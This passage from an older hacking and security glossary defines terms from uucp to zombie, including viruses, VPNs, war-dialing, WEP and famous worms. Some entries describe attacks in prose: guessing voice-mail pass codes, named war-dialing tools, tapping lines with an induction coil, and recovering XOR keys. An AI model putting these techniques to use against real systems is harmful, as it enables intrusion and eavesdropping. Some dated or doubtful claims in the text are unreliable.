Key point: Even though it is rarely used today, uucp accounts and services are often enabled on UNIX machine in such a way that they can be exploited in order to break into the machine.
See also: uuencode
[ van Eck | VBS | Vernam Cipher | vi | Virtual Local Area Network | Virtual Private Network | virus | VisualBasic | VLAN | voice-mail | VPN | vulnerability ]
Analogy: A biological virus is not a "living" thing. Instead, it is simply a strand of DNA. When it enters a living cell, it takes control of the cell forcing it to generate duplicate copies of the original DNA strand. In much the same way, a computer virus hijacks the computer forcing it to generate duplicate copies of the original virus. Computer viruses are so common because humans do not practice sufficient cyber-hygiene when exchanging files.
Key point: An "anti-virus" programs scans the disks on your system hunting down those files that have signatures indicative of infected files. Since file-scanning technology is generic, most anti-virus programs also scan for other hostile content, such as trojans.
Contrast: The popular use of the word "virus" means any form of malware. For example, in the movie Office Space, the protagonists write what is called a "virus" that runs in the banking mainframe to steal round-off errors. In contrast, the technical definition limits itself to just those forms of contagious malware that spreads by infecting other programs.
Key point: Viruses have a life cycle from the point they are originally created, distributed, found by anti-virus programs, then eradicated. They also mutate as script kiddies take viruses, make small alteration that avoids current virus scanners, and redistribute the viruses.
Example:
Culture: Viruses are rarely written by a single human being. Instead, they are often written by groups. Each virus is usually built upon work done by other virus writers. This means that a virus is usually related to other viruses. Computer viruses mutate and exchange genetic material much like biological systems. What we classify as the "author" of a virus is usually somebody who made one small mutation that made a virus especially virulent.
Key point: In early year 2000, the ILOVEYOU worm took down most corporate e-mail systems. It was written in VisualBasic. As of the year 2000, most viruses seen in the wild are VisualBasic viruses.
Key point: Sometimes people want to put a firewall between VLANs, putting their DMZ on one VLAN on the rest of their company on another. This is an extraordinarily bad thing to do. VLANs are designed primarily to segment broadcast domains and improve performance and manageability. They are not hardened against security breaches. For example, Bay switches will forward packets incorrectly if the MAC address is known by the hacker. Cisco ATM switches have been known to leak frames onto incorrect VLANs when overloaded.
Key point: Most cable-modem and DSL connectivity is provided via VLANs over an ATM infrastructure. All the security concerns expressed above for VLANs applies to these technologies as well.
Key point: Voice-mail is a constant target of phreakers. Most have the feature whereby users can manage their voice-mail boxes remotely (i.e. from home). A standard attack is to try easy pass codes (such as 1234, 5555, or birth-date) or grind them with a war-dialer. In some cases, an outgoing line can be obtained. If an administrator's box can be broken into, the attacker will be able to create private voice-mail boxes. Other attacks include spying on messages, or pranks such as changing somebody's greeting message.
Key point: One way that an employee can connect to a company is to put a modem in the machine and dial directly to modems inside the corporation. This is expensive due to long distance charges. But think for a moment that the employee can purchase two modems to put in the machine, and while dialed up to the corporation, the employee also dials up the Internet. This would mean that the employee has two active network connections: one to the corporation, one to the Internet. A VPN is the same thing, only the corporate connection and modem are "virtual".
Key point: Vendors claim that when the VPN is active, that the previous Internet access is disabled and all further communication goes through the corporation. Therefore, if the user wants to browse the web while the VPN is active, the user must browse through firewalls/proxies inside the corporation then back out to the web. However, this is just a bit of sleight-of-hand: while it appears to the user that normal Internet communication has been disabled, in reality it has only been "hidden": a hacker can still compromise the machine from the Internet.
Key point: VPN puts the connection on the company's internal network, inside the firewall. Therefore, if a hacker compromises someone's machine who uses VPN, then the hacker has easy access to the inside of a hardened corporate environment.
Culture: Finding vulnerabilities is a big part of the hacker/infosec culture. Finding vulnerabilities is way of proving that you are "elite". This subculture is similar to the scientific community. For example, there are a number of people (usually commercial companies) that are "research whores": they take existing research and add their own small contribution, but then publish the result in such a way that leads people to believe that they are responsible for all the research leading up to that discovery.
Contrast: The words exploit and vulnerability are tightly bound together. Often, an script/program will exploit a specific vulnerability. Since most vulnerabilities are exploited by script kiddies, the vulnerability is often known by the name of the most popular script that exploits it.
Key point: There exist broad-spectrum vulnerability scanners/assessment-tools that will scan a system looking for common vulnerabilities. These are often used in order to harden a system.
See also: risk
[ WAP | war driving | War Games | War Games Syndrome | war-dialing | warez | WEP | White Team | white-hat | wild | Windows | WinNT | WinNuke | WinSock | wipe | wiretap | WIZ | worm ]
Point: WAP security is very different from Internet security protocols. This requires multiple translations as data travels from the Internet to the cell-phone, which causes security weaknesses. Secure content encrypted with WTLS (WAP Transport Layer Security) much be decrypted, then reencrypted with SSL. This fundamentally breaks SSL, because certificates can no longer be validated end-to-end. Moreover, even though WTLS is substantially based upon SSL, it differs from it in several fundamental ways, breaking its security.
Controversy: There is considerable controversy because WAP standards are just variations of existing standards (such as WTLS vs. SSL). It is felt that this makes interaction of between WAP and the Internet more difficult, and creates a barrier for smaller/newer companies to enter the WAP market.
Contrast: WAP has the companion WML (Wireless Markup Language) for formatting content.
Tool: The program ToneLoc for DOS is one of the most popular among hackers for this purpose. THC ("The Hackers Choice") is another popular war-dialer.
Key point: Many corporate desktops run PCAnywhere. This allows employees to access their desktop computers from home without the firewall-nazis blocking access. They also install PCAnywhere without those pesky passwords. Consequence: hackers who war-dial often come up with PCAnywhere machines that they can easily connect to and break into companies.
Key point: Other popular applications that pick up dialup lines are Windows RAS servers, Laplink, and telnet-like terminal servers.
Countermeasure: Review your PBX logs. Also, setup honeypot dial-ins that can easily be broken into.
Contrast: The term "war-dial" has connotations of trying to break into systems by figuring out which ones answer, and logging their greeting messages. The term "demon-dialing" has connotations of DoS, where the goal is to repeatedly dial the same number in order to cause havoc (or simply connect to a busy system, such as a popular BBS).
Exploit: War-dialers can be used for other purposes as well, such as grinding passcodes protecting a voice-mail box.
Key point: The movie demonstrates what I like to call War Games Syndrome. When people get hacked, they assume that it must of have been by a genius hacker with evil intent. In the movie, the world is almost destroyed by thermonuclear war because the ignorant government people refuse to accept that the kid who broke into their systems wasn't an evil Russian superagent. In much the same way, during the Solar Sunrise incident, the military made a big fuss how this was the worst series of breakins in their history, yet the kids used techniques requiring less intelligence than shown in War Games. Again, the military didn't understand that a single script kiddy can easily run an exploit script against all of their computers from the comfort of their own home. It may seem like a massive (and effective) cyberattack, but the effort/intelligence involved is minimal and doesn't represent more than a teenager goofing off.
Key point: The warez subculture is a big part of the underground. Virtually all software is available in the form of warez. However, it suffers from underground economics. It usually takes a lot of effort to find the desired warez, requiring extensive searches on the Internet or hanging out in #warez IRC chat rooms. Any site you visit that has lots of warez will invariably overloaded, making it impossible to successfully download the files. Warez are oftened trojaned with backdoors.
Key point: Warez are, of course, illegal. Local laws and enforcement vary widely.
Contrast: Whereas a "white-hate" is considered a "good guy", a "black-hat" describes the "bad" hackers.
See also: penetration testing
Key point: An extremely high percentage of wireless networks have WEP disabled. An average person would think that because they can't access the internal wireless network from outside their building then nobody else can either. However, satellite dishes can be used to "boost" the signal and access such networks from miles away.
Key point: WEP has the same problem as all systems based upon shared keys: any secrete held by more than one person soon becomes public knowledge. Take for example an employee who leaves a company: they still know the key. The could sit outside the company with a satellite dish and sniff everyone's traffic or attack the internal network.
Key point: On Windows, trailing dots on filenames are ignored. This means the filenames "foo" and "foo." are the same. However, most applications treat these two filenames as representing different files. Hackers can sometimes exploit this difference. For example, on older versions of ISS, this could often be used to read the contents of scripts rather than running them. Being able to read the script isn't necessarily a security breach, but a hacker could use the script in order find other ways of breaking into the system.
Key point: Microsoft has obtained C2 certification for Windows NT. This doesn't mean that WinNT is more secure than other operating systems, but it does mean that WinNT has features required to harden a system according to this government specification.
History: The WinNuke exploit was first published on BUGTRAQ in May of 1997, and was designed to crash Windows 3.11, Windows 95, and Windows NT machines. It was quickly seized upon by the online chat and gaming community, who used it to crash other people's machines while online, especially in IRC chat rooms.
Contrast: Wiping data from the disk is the electronic equivalent of shredding. It is not as strong as degaussing the disk.
Misconception: Many crypto programs also contain a feature for wiping free-space. However, deleted files may be overwritten by some other file between wiping passes. This deleted file won't be wiped, and may be recoverable.
Key point: In a court case in 2001, the FBI was able to successful retrieve overwritten files from a defendant's hard-drive.
History: Microsoft's Windows XP, shipped in October of 2001, contains an automatic wipe feature for permanently deleting files. This has made some forensics investigators worried that they will no longer be able to successfully retrieve deleted files from dumb-criminal's machines.
Exploit: The best way to tap an analog line is with an induction coil. Rather than contacting the raw wires directly, an induction coil listens to the electromagnetic radiation coming from the wire. Difficult to detect.
Example: In the late 1980s, the Morris Worm shutdown the Internet for a couple of days. At the time, well-known bugs in the UNIX sendmail program could allow a hacker to break into machines. Robert T. Morris wrote a program that would san machines for these security holes, then break into the machine. After breaking in, the program would copy itself up to that machine, then launch it. In this manner, the worm spread from machine to machine, multiplying until it had broken into nearly every machine which contained these bugs. However, the worm itself had a bug where it couldn't detect that a machine had already been broken into. Therefore, it would repeatedly break into the same machine over and over, until it machine collapsed from running too many instances of the worm. Copycats of the Morris Worm pop up repeatedly as new security holes appear in popular systems (like Linux), but they never have the devastating effect of the Morris Worm.
Example: In the late 1999, the Melissa Worm/Virus nearly disabled the Internet. The worm spread by e-mailing itself to the first 50 people in a user's e-mail address book. Victims would then receive an e-mail from somebody they knew and trusted, so they would open the attached document and run the macros. In this manner, Melissa spread from inbox to inbox. Melissa is sort of a cross between a virus and a worm: it had the ability to spread itself like a worm, but it still required user interaction.
Example: Around 1998, the ADMworm traveled by exploiting a few well-known Linux vulnerabilities in Linux machines, breaking into the machine, installing itself, then hunting for more machines.
Example: Having failed to learn their lesson in 1999, the industry was pummeled by the ILOVEYOU worm in early 2000. It spread in much the same way, though this time it was a VBS script rather than an .exe.
Contrast: There really is not difference between a worm and a virus. The dividing line is usually drawn along the amount of human interaction involved, and how it spreads from machine to machine. A worm spreads itself with zero human interaction, whereas a virus is spread by human contact: humans exchange files from machine to machine, and when a human runs the infected program, the virus only infects other files on the same machine. Some viruses do attack servers, but only because the user is connected to the server. The Melissa Virus/Worm crosses the line: it spreads from one machine to another like a worm, but it must be launched by the user like a virus.
Example: The SirCam Worm of July 2001 didn't explode as fast as other viruses, but had a large effect on the net through its "background" operation on a machine and the technique of spidering the cached files in web-browsers looking for e-mail addresses.
[ X Windows | XML | xor | xterm ]
Key point: X Windows goes in the "wrong" direction. When you log into an X Windows host, the host opens a connection back to the display. As a consequence, it is very useful as a back-channel. In particular, the program xterm provides a raw command-prompt from which a hacker can interact with just as if they had telnetted to the machine.
Misconception: The recommended advice when developing Internet protocols has been be conservative in what you send and liberal in what you receive. While in the early days this philosophy fostered interoperability, any economist could tell you the long term effect of this. It leads to a large number of slightly incompatible implementations of protocols, all of which mostly work, but none of which interopate well. For example, FTP is one of the oldest Internet protocols, and there are essentially no fully complient clients or servers, and building a fully interopable client/server is extremely difficult, requiring knowledge of all the quirks of all the popular implementations. Therefore, XML has chosen the opposite approach: compliant implementations are supposed to reject all input that isn't "well-formed", even when the intent is clear. This not only avoids interoperability errors in the long run, it also dramatically improves security by guaranteeing that there is only one way to interpret things.
plaintext 11100101 01110101
key 00001111 00001111
------------------
ciphertext 11101010 01111010
XOR has the interesting property that XORing by the same pattern
twice results in the original pattern:
ciphertext 11101010 01111010
key 00001111 00001111
------------------
plaintext 11100101 01110101
Therefore, you can think of XOR as an extremely weak encryption
algorithm. The above example shows using XOR as a way of encrypting
the original data with the 8-bit key of "00001111". Many products use this technique
to obfuscate data. However, it is extremely easy to recover
the original key via a known plaintext attack,
as show below:
ciphertext 11101010 01111010
plaintext 11100101 01110101
------------------
key 00001111 00001111
Key point: XOR is a common mathematical operation used in cryptographic algorithms. In fact, the only 100% secure form of encryption is XORing against a one-time pad. Also, any hash algorithm can be converted into an encryption algorithm though a clever use of XOR.
[ ]
[ zero-day | zombie ]
Controversy: Dave Dittrich, the person who has done the most research into DDoS zombies, hates the word "zombie".